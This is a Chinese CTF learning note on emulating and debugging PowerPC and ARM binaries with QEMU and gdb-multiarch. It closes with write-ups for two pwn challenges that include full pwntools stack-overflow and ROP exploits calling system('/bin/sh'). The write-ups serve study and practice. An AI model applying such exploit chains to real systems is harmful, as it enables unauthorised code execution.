序
Ubuntu16 + 运行环境搭建 + 调试
学习 PowerPC&ARM&AARCH64 架构的指令集,找相应的题做了做,可借鉴 x86 架构下的漏洞利用思想。
pwn 题:
2023 数字中国创新大赛 数字网络安全人才挑战赛 - pwn起源(powerpc-32-big
+ 任意指令执行
buu - jarvisoj_typo (arm-32-little
+ 恢复符号表 + 栈溢出
QEMU环境搭建
安装模拟器
QEMU
是一个模拟器,可以模拟多种处理器架构的计算机系统,这是我们实现跨平台运行二进制文件(如在 x86 的机子上跑其它架构程序)的工具。
QEMU
主要有两种运行模式: qemu-user
, qemu-user-static
,都装上吧。
目前还不太清楚这两种模式的区别,只知道后者是 qemu 的静态编译版本。使用 qemu-user 运行动态链接的程序,需要在本地系统中安装与程序相应的库,而 qemu-user-static 则包含了所有必需的库和二进制文件,可以直接运行静态链接的程序。
$ sudo apt-get update
$ sudo apt-get install qemu qemu-user qemu-user-static
安装 qemu-system
,用于模拟整个计算机系统的跨平台运行。
$ sudo apt-get install qemu-system uml-utilities bridge-utils
运行程序
静态链接程序
使用 qemu-user-static
虚拟机,运行 PowerPC 32-bit 的静态链接程序:
$ qemu-ppc-static ./pwn
当然还能运行其他架构的程序,同理。
arm: qemu-arm-static
aarch64: qemu-aarch64-static
mips: qemu-mips-static
mipsel: qemu-mipsel-static
ppc: qemu-ppc-static
ppc64: qemu-ppc64-static
动态链接程序
使用 qemu-user
运行动态链接程序,需要先查找并安装对应架构的动态链接库(还是以 PowerPC 架构为例:
$ apt search "libc6-" | grep "powerpc"
$ sudo apt-get install libc6-powerpc-cross
# 安装好的库在 '/usr/powerpc-linux-gnu/lib/' 目录下
对应的,搞别的架构也同理。
运行:
$ qemu-ppc -L /usr/powerpc-linux-gnu ./pwn
# 通过 `-L` 指定 `/usr/powerpc-linux-gnu` 目录
同理。( ‘qemu-tab
’ 可以查看 qemu 系列的指令
PowerPC 64-bit 架构:qemu-ppc64
PowerPC 32-bit 架构:qemu-ppc
ARM 64-bit 架构:qemu-aarch64
ARM 32-bit 架构:qemu-arm
MIPS 架构:qemu-mips
小端序 MIPS 架构:qemu-mipsel
调试程序
安装调试工具
安装 gdb-multiarch
,这是一个支持多种架构的 gdb 工具,可以同时调试多种不同的架构。
$ sudo apt-get install gdb-multiarch
调试
使用 gdb-multiarch 调试其他架构的程序之前,需要先启动 QEMU
并将程序运行在其中:
# './qemu-ppc' 使用 `qemu-user` 工具来模拟 PowerPC 架构
# '-g 1234' 以 gdb 的方式启动 QEMU,并监听 1234端口
# './pwn' 即要运行的程序
$ qemu-ppc -g 1234 -L /usr/powerpc-linux-gnu ./pwn
另开一个终端启动 gdb
# 设置调试器的架构为 powerpc
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./pwn
# 设置大端序,连接到正在运行的程序
(gdb) set endian big
(gdb) target remote :1234
接下来就跟我们熟悉的使用 pwndbg 调 x86 架构的题差不多了。
精简指令集架构学习
PowerPC
PowerPC 架构下的函数调用约定是通过寄存器传递参数,而不是通过栈传递参数。但当参数数量过多时,会将多余的参数压入栈中,因此栈帧中也会包含函数参数。
指令集
去逆不同架构的汇编的时候,习惯先只看看基础知识和常见的指令,然后遇到不会的再查…
常用寄存器
寄存器 | 说明 |
---|---|
R1/SP | 栈顶指针。 |
R3 | 存储函数调用的第一个参数或函数的返回值。 |
R4-R10 | 函数或系统调用的参数,部分情况下R4寄存器也会作为函数的返回值使用。 |
LR | 链接寄存器,用于存放函数调用结束处的返回地址。 |
PC | 程序计数器。 |
常用指令
PowerPC 架构的指令通常使用缩写的单词组合来表示其功能。
STB:Store Byte(存储字节)
STW:Store Word(存储字)
LD:Load(加载,将数据从内存中读取到寄存器中)
LI:Load Immediate(加载立即数)
LIS:Load Immediate and Shift(装载一个16位立即数到目标寄存器,并将它左移16位,用零填充低位)
LWZ:Load Word and Zero(从内存读取一个字单元到寄存器中,并将高位清零)
BL:Branch and Link(当前程序返回地址存入寄存器 LR 并跳转)
MTCTR:Move to Count Register(将一个32位寄存器的值存储到寄存器 CTR)
BCTRL:Branch to Count Register and Link(用于调用函数,将当前程序返回地址存入寄存器 LR 并跳去执行寄存器 CTR 指向的指令)
@符号 :通常用于表示地址的高位和低位。
下例中表示将
FinishedUpload
标签的高位地址加载到 r9 ,r9 左移16位,将FinishedUpload
标签的低位地址与 r9 相加后的值存储到 r3。即实现了让 r3 指向FinishedUpload
标签的地址。
举点例。
li REG, VALUE ;REG = VALUE
add REGA, REGB, REGC ;REGA = REGB + REGC
addi REGA, REGB, VALUE ;REGA = REGB + VALUE
mr REGA, REGB ;REGA = REGB
ld REGA, 0(REGB) ;REGA = *(REGB + 0) 以REGB为基址,偏移量为0寻址
lwz REGA, 0(REGB) ;REGA = *(REGB + 0)
bl func ;PC = &func
mtctr REG ;CTR = REG
bctrl ;LR = PC,PC = CTR
栈帧结构
在 PowerPC 架构下,栈帧的结构一般遵循 ABI (Application Binary Interface,应用程序二进制接口) 规范。PowerPC 的 ABI 规范有多种,如 PowerPC 32-bit ELF ABI 和 PowerPC 64-bit ELFv2 ABI 等,不同的 ABI 规范会对栈帧的结构进行不同的定义。
PowerPC栈溢出初探:从放弃到getshell - 先知社区 (aliyun.com)
PowerPC构架应用程序二进制接口(ABI)及堆栈帧详解_shonffy的博客-CSDN博客
pwn
pwn起源(2023 数字中国创新大赛 数字网络安全人才挑战赛
powerpc-32-big
架构的静态链接程序。(写 exp 的时候别忘了设置字节序为大端字节序
运行一下看看。
$ qemu-ppc-static ./main
任意指令执行,覆盖40个垃圾字符后填个后门地址即可。
有个假的后门函数,很明显直接跳到这个函数执行是通不了的。
找能跳去执行 system 的 gadget 就行。payload 如下。
p32(system) = 0x100006F0
payload = '/bin/sh\x00' + a*32 + p32(system)
或许你注意到了调用函数的参数是 v3,它是前面执行 puts 函数的返回值。所以这段 payload 是怎么打通的,看伪代码有点说不过去。调下程序跟下汇编好了。
(调试
先启动一个终端运行 exp,再启动另一个终端用 gdb 去连,之后的就跟 x86 下的差不多了。
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./main (gdb) target remote :1234
可见我们成功将 ‘/bin/sh’ 写进了 sp + 0x1c 这段栈空间,此时 R31 指向栈顶,记住这个,等会要考。
看一下程序在跳转执行我们的 gadget 前的栈空间和寄存器。此时 R3 确实是 puts 函数的返回值,表示输出了 0x13 个字符。
在 jmp CTR 前,执行了 mtctr r9
(CTR = R9,jmp CTR --> jmp R9
(可见 R9 的值正是我们写进的 0x100006F0
比较巧妙的地方就是我们利用的 gadget,在执行 call system 前,能重写 R3。
addi r9, r31, 0x1C
mr r3, r9
相当于执行 R3 = *(R31 + 0X1C)。(R31 + 0x1c 指向的就是 ‘/bin/sh’
在执行 system 前,R3 寄存器确实指向了 ‘/bin/sh’,成功 getshell
完整 exp 如下:
#coding:utf8
from pwn import *
context.endian = 'big'
context.log_level = 'debug'
p = process(['qemu-ppc-static','./main'])
#p = process(['qemu-ppc-static','-g','1234','./main'])
system = 0x100006f0
payload = '/bin/sh;' + 'a'*32 + p32(system)
#pause()
p.sendlineafter('comment.\n', payload)
p.interactive()
ARM&AARCH64
ARM 架构是 32 位的,AARCH64 架构是 64 位的。
ARM 架构下的函数调用约定是 函数的前四个参数保存在寄存器 r0 - r3 中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。
AARCH64 架构下的函数调用约定是 函数的前六个参数保存在寄存器 x0~x5 中。与 ARM 架构不同的是,在 AARCH64 架构下,被调用者不需要实现栈平衡,由调用者负责栈平衡。函数的返回值保存在 x0 中,如果返回值是一个结构体或类似的较大的数据类型,则会使用 x0 和 x1 寄存器记录返回值。
指令集
常用寄存器
寄存器 | 说明 |
---|---|
R0 | 存储函数的第一个参数或函数的返回结果。 |
R13 (堆栈指针SP | 指向堆栈的顶部 |
R14(链接寄存器LR | 链接寄存器,用于存放函数调用结束处的返回地址。 |
R15(程序计数器PC | 程序计数器。 |
常用指令
MOV: 数据传输指令,用于将数据从一个寄存器或内存中复制到另一个寄存器或内存中。
ADD/SUB: 加法和减法指令。
CMP: 比较指令,比较两个操作数的大小关系。
B: 分支指令,用于无条件跳转到指定地址。
BL: 分支指令,用于跳转到指定地址并将返回地址保存在LR寄存器中,可用于函数调用。
LDR/STR: 数据传输指令,用于从内存中读取数据或将数据写入内存。
LDR 用于将某些内容从内存加载到寄存器中,例如
LDR R2, [R0]
从R0寄存器中存储的内存地址的值读入R2寄存器。STR 用于将某些内容从寄存器存储到内存地址中,例如
STR R2, [R1]
从R2寄存器中将值存储到R1寄存器中的内存地址中。PUSH/POP: 栈操作指令,用于将寄存器中的数据入栈或从栈中弹出数据。
以及,抄过来的表格:
指令 | 功能 | 指令 | 功能 |
---|---|---|---|
MOV | 移动数据 | EOR | 按位异或 |
MVN | 移动数据并取反 | LDR | 加载 |
ADD | 加法 | STR | 存储 |
SUB | 减法 | LDM | 加载多个 |
MUL | 乘法 | STM | 存储多个 |
LSL | 逻辑左移 | PUSH | 入栈 |
LSR | 逻辑右移 | POP | 出栈 |
ASR | 算术右移 | B | 跳转 |
ROR | 右旋 | BL | Link+跳转 |
CMP | 比较 | BX | 分支跳转 |
AND | 按位与 | BLX | Linx+分支跳转 |
ORR | 按位或 | SWI/SVC | 系统调用 |
参考:
ARM PWN基础教程 - 知乎 (zhihu.com)
栈帧结构
与 x86 相比,ARM 架构的栈帧寄存器值不是保存到栈底,而是栈顶。
x86-64平台栈帧结构与ARM64栈帧结构对比_程序猿Ricky的日常干货的博客-CSDN博客
函数调用栈帧回溯 - 简书 (jianshu.com)
pwn
jarvisoj_typo(buu
(调试
先启动一个终端运行 exp,再启动另一个终端用 gdb 去连。
$ gdb-multiarch -q -ex "set architecture arm" ./typo (gdb) target remote :1234
(分析
arm-32-little
架构的静态链接程序。去符号表,基础栈溢出,有 system 和 ‘/bin/sh’。找 gadget,控制 r0 寄存器指向 ‘/bin/sh’,然后跳去执行 system 即可。
这题的难点之一是找 system 函数。可以使用 rizzo 还原符号表,我的是 IDA Pro 7.5,装的这个。
Reverier-Xu/Rizzo-IDA:Rizzo 插件移植到 IDA 7.4+ (github.com)
将 rizzo.py
放到 ida 的插件目录中,我的是 C:\IDA Pro 7.5\plugins
然后去下相应架构的 libc,用 ida 打开。
$ apt search "libc6-" | grep "arm"
$ sudo apt-get install libc6-dbg-arm64-cross
$ cp /usr/aarch64-linux-gnu/lib/libc-2.23.so ./
先用 libc 进行签名(File -> Produce file -> Rizzo signature file),然后在要恢复符号表的程序里读取签名(File -> Load file -> Rizzo signature file),即可恢复一部分符号表。但我这没什么效果,不清楚是什么原因。
em,也可以查下哪里调用了 ‘/bin/sh’。在 ida 里 shift + f12,然后 ctrl + f 查找 ‘/bin/sh’,双击左键跳到字符串所在地址,点击该地址,然后 ctrl + x 查看引用,双击进去看看函数实现。
直接贴我的 exp 了:
from pwn import*
context(arch='arm',log_level='debug')
p = process(['qemu-arm-static','./typo'])
#p = process(['qemu-arm-static','-g','1234','./typo'])
pop_r0_r4_ret = 0x00020904
binsh = 0x0006c384
system = 0x00010BA8
p.send('\n')
payload = 'a'*112
payload += p32(pop_r0_r4_ret)
payload += p32(binsh)
payload += p32(0)
payload += p32(system)
#pause()
sleep(0.1)
p.sendline(payload)
p.interactive()
至于刷的更多的题,arm 进阶… 还是直接去看师傅们的 blog 吧,都写得很好,就不复制他们的 exp 了。
Tag: ARM | Pwn进你的心 (ywhkkx.github.io)
arm pwn入门 | blingbling’s blog (blingblingxuanxuan.github.io)
一些arm题 | 71’s blog (7ee1n.github.io)
mips?
留个位置?以后遇到了再学…